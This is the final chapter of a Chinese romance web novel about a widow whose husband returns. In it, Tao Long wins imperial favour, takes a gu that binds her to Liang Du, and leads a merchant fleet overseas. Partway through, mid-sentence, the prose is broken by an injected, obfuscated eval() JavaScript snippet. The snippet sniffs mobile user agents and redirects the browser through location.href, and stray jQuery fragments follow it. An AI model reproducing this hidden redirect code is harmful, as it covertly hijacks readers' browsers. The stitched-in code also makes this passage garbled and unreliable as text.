65. 心愿(完)

作品:《守寡三年后亡夫诈尸了

    陶珑的话音落下,皇帝沉默半晌,倏地笑起来,冲陶泱和陶瑛道:“瞧瞧,分明都姓陶,两个领兵打仗的,怕是加起来也不如你家女儿聪明。”


    陶泱拿不准这番话是褒是贬,干脆装傻道:“家里聪明人有一个足矣,臣何必费那个脑子?”


    “也是,若在别人家里,怕还养不出这样的‘女中豪杰’。”皇帝打趣完,又转向陶珑,问,“你就不为自己求些什么?”


    陶珑不敢抬头,诚恳道:“草民所行所为,到头也都是为了家人。为自己求再多,都不如父兄平安喜乐叫草民安心。”


    皇帝笑叹,“行了,不必那么紧张。只是,你口口声声都是父兄,那怎么还要向朕讨走蕴珍?”


    陶珑一哽,干巴巴道:“回陛下,一则……有夫妻前缘未尽;二则,还有救命之恩尚未偿还,故而……”


    皇帝一挥手,“行了,你俩那点儿女情长,朕可不掺和。蕴珍,你自己说,要是留在朕身边,还是和你夫人走?”


    梁椟傻眼了,没想到兜了一大圈,同样的问题又落在了自己头上。


    如今的陛下虽多疑成性,但对他却有几分真心爱护在,这么说,其实也有几分调笑的意思。


    他无奈笑笑,走到陶珑身边,冲皇帝叩拜道:“臣无福长伴陛下左右……”


    “哪来这么多车轱辘话,得了!”皇帝笑骂,“我又不是要棒打鸳鸯,你自己拿定主意,哪有不成全的道理?”


    一抬手,他叫两人起来,和陶泱、陶瑛一道落座,说道:“陶氏,你的心愿可以实现,但朕要叫你去做一件事。”


    陶珑当即就要起身再拜,被李正吉拦下。


    “你是商人,又常在金陵,自然知道如今大齐来了多少洋人。”皇帝沉吟,“他们能来大齐,难道我大齐就不能出去吗?而今沿海动荡已除,正是办这件事的好时候——陶氏,朕要组一支商队,你去做领队,如何?至于蕴珍,派他做你的护卫,朕瞧着也挺合适。”


    皇帝所言,仿佛是见了陶珑才想好的主意。但在场众人,除了陶泱谁都知道,这就是一开始为她量身定做的局。


    陶珑这回叩首没人拦着,她额头抵着指尖,道:“草民愿领此重任,不负陛下所托。”


    出了宫门,陶泱才一巴掌拍上儿子的后脑勺,“你和阿珑还敢瞒着我?当你老子是什么?”


    陶瑛委屈,“是阿珑说不让你知道的,怎么只打我!”


    瞥一眼闺女八方不动气定神闲的模样,陶泱忍不住又拍了陶瑛一巴掌,“你当大哥的,不知道劝劝吗?”


    陶瑛:……


    眼见他还要挨揍,陶珑轻咳一声,道:“爹,是我不知该怎么同你说,才叫大哥先保密的。”


    有她开口,陶瑛终于摆脱了老爹的魔掌,默默往另一头挪了挪,拉开两人的距离。


    陶珑垂下眼,有些可怜巴巴地说:“陛下一开始就属意我做这事儿,咱们没得选的。我和大哥怕您忧心,只想能有个合适的时候告诉你,结果一拖就拖到了今天……”


    她捏准了陶泱对自己没办法,故意装得弱小可怜又无助,果然将人哄得再无一点脾气。


    陶泱有些颓然,“我和你大哥本就在边关刀口舔血,这两年虽安定不少,可谁能保证外敌不再来犯?你……你也要出去冒险,要是有个万一,我又如何面对你们娘亲?”


    陶珑说不出话来。再如何保证,在出事之后,也不过是一纸苍白的空话。


    梁椟打破了这短暂而煎熬的沉默,“我会护着阿珑的。只要我还在,阿珑就不会有事。”


    陶泱似乎被说动了,尽管眉宇间依旧忧心忡忡,到底还是拍了拍梁椟的肩膀,“我信你。”


    陶瑛想到还有母子蛊的事,很想开口说两句,但考虑到这件事才是真的半点不能叫老爹知道的,只能没好气地瞪了自己曾经的“好兄弟”一眼,继续窝在角落里装哑巴。


    “既然已经定下来,就将母蛊给我吧。”


    回到家中,陶珑放松不少,换过衣服,就立刻去隔壁找上了梁椟。


    “你……”梁椟却在这个关头再度犹豫,“你当真想好了?”


    陶珑很不耐烦地白他一眼,“少废话。”


    说罢,也不管梁椟怎么想,直接上手去解他的扇坠。


    梁椟直愣愣站着,像个木头桩子,等到陶珑打开玉葫芦口,倒出一粒血红的药丸,才开口:“阿珑,一旦吃下它,就没有后悔的机会了。”


    陶珑懒得搭理他,毫不拖泥带水地一口吞下。


    很奇怪,这东西分明没有一点味道,也不卡嗓子,可陶珑却能感受到它顺着喉咙,一点点流进胸口。


    心跳忽地慢下来,陶珑能明显察觉,自己五感更加敏锐。


    她立刻想到了什么,捉住梁椟的手腕,摸上他的脉门——


    果然,自己和他的脉搏完全一致了。


    陶珑呆愣愣地摸一会儿他的脉搏,又摸会儿自己的,忍不住道:“蛊虫到底是如何运作的?未免太神奇了。”


    梁椟本来有些紧张,听到这么番话,哑然失笑。


    是了,陶珑何时会后悔自己已经做过的事。


    事已至此,他们二人已是彻头彻尾的“一体同心”,梁椟觉得,自己也该学着不再像从前那般患得患失。


    他心里漾出一丝说不出的甜和暖,正要趁这个机会说点什么,却感觉胳膊一空,陶珑已经毫不留情地收手后退了两步。


    “笑什么?”她蹙眉,几步就走到了院门口,“……既然你我都无事,那我走了。”


    说罢,人影就已经消失。


    “阿珑,”梁椟唤她,“从今以后,我不会再离开你了。”


    陶珑站在门外,听得分明。


    *


    商队的事一旦敲定,陶珑就开始忙起来了。


    父兄已经复职,回到玉门,她自然也不在京城多留,依依不舍地向赵蕤和小侄子侄女道别后,就带着雯芳和梁椟一起去了金陵。


    商队将于年后从金陵出发,陶珑本就是要过去的;再者,她决定将雯芳托付给卢鸣玉。


    孙家除去卢鸣玉,都已经去了南海,雯芳一直受不了那边的气候,自然还是留在金陵更好。


    只是,而今陶珑却没时间再去南海看一看祖父他们过得如何了。


    她愁得直咬笔头,写了十几页的信,将自己所知的南海人文风物、产业地理统统写进去,不敢遗漏一点,生怕他们遭罪,而后再想办法送了加急信,只盼能赶上他们的步伐。


    除此之外,陶珑还得再给季知礼写封信


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061374|172973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    虽然季知礼过去平白帮了不少忙,但陶珑也没少给季大人的业绩增光添彩,所以她半点没有惶恐地修书一封,只说以朋友的身份,请季知府多多帮扶家人,并随信附礼一箱,俱是给忆娘的小玩意儿。


    不过,其实孙家除了刚立足可能有些困难外,大约也不怎么需要季知礼操心。


    毕竟南海的产业,其实算游走在陶珑和孙家之间,两边向朝廷上交资产时,都没将其算入在内,朝廷也并未追究。


    何况年前陶珑还入了这里陆氏产业的股,如今陆家虽倒了,可陆修明转投司礼监,混得风生水起,原本的陆氏商号成了正统皇商,这点股份的价值转眼翻了好几番。


    总之是不会叫孙家人遭罪的。


    将身边的事都安排明白了,陶珑人也到了金陵,离出海启程的日期不过月余。


    她晕头晕脑地歇了两天,终于不得不面对那个比雯芳难应付许多的卢鸣玉。


    尽管已经提前在信里支会过,可坐在卢鸣玉面前,陶珑还是心里发虚,不知该从何说起。


    没想到卢鸣玉也格外冷静,只是亲手将个绣了“一帆风顺”的荷包挂在她腰间,而后捏着她的脸,认真道:“海外的事,你同洋人打交道比我多,知道的也比我多,也没什么可说的……我等你回来,为你办接风宴。”


    陶珑定定看了她一会儿,不知怎的,竟觉得眼眶发酸。


    “好。”


    “还有,”卢鸣玉扭头看了眼门外杵着的人影,完全没要避着人说话的意思,“你俩重新纠缠到一起,我没意见。但你要是再因为他消沉,我就把你俩一块儿扔进护城河!”


    陶珑:……


    她忍不住问:“为什么还要扔我?”


    卢鸣玉冷笑,“凡事可一不可二,你也没救了,一起去死。”


    二月初五,是个天朗气清的好日子。


    从金陵的港口望去,十几条巨大的商船几乎铺满了近海,别说洋人,就是大齐人自己都是头一回见如此大的阵仗。


    祭礼过后,陶珑身着专为她量身定制的女官官服,接过金彩递来的圣旨,朗声道:“臣陶珑接旨!”


    金彩虚扶她起来,柔声道:“一年不见,您已经是陶大人了,这可是本朝开天辟地头一回!出海的事儿,我也不懂太多,便只能盼您一帆风顺了。”


    赭红色官服衬得陶珑脸色红润、神采奕奕,她冲金彩粲然一笑,“借您吉言,定不辱命。”


    在一众高官和当地百姓的注视下,陶珑捧着圣旨,一步步走上踏板,立于船头。


    金彩问身后的张兰,“你说,她这样意气风发,是衣装映衬,还是权力映衬?”


    张兰迟疑片刻,“或许都有?”


    金彩哼笑,“也是,无论成与不成,她都要青史留名了。”


    陶珑看见了人群中冲自己摆手的雯芳和卢鸣玉,却不能回应,一时有些惋惜。


    但海风很快就冲散了这点哀愁,将万丈豪气塞满了她的心胸。


    “我一定要回来。”她既是对自己说,也是对身后作护卫打扮的梁椟说,“我们一定要回来。”


    一声长号响起,水手们拉起风帆,这史无前例的巨船商队就此扬帆起航。


    “将来还有许多等着我们呢。”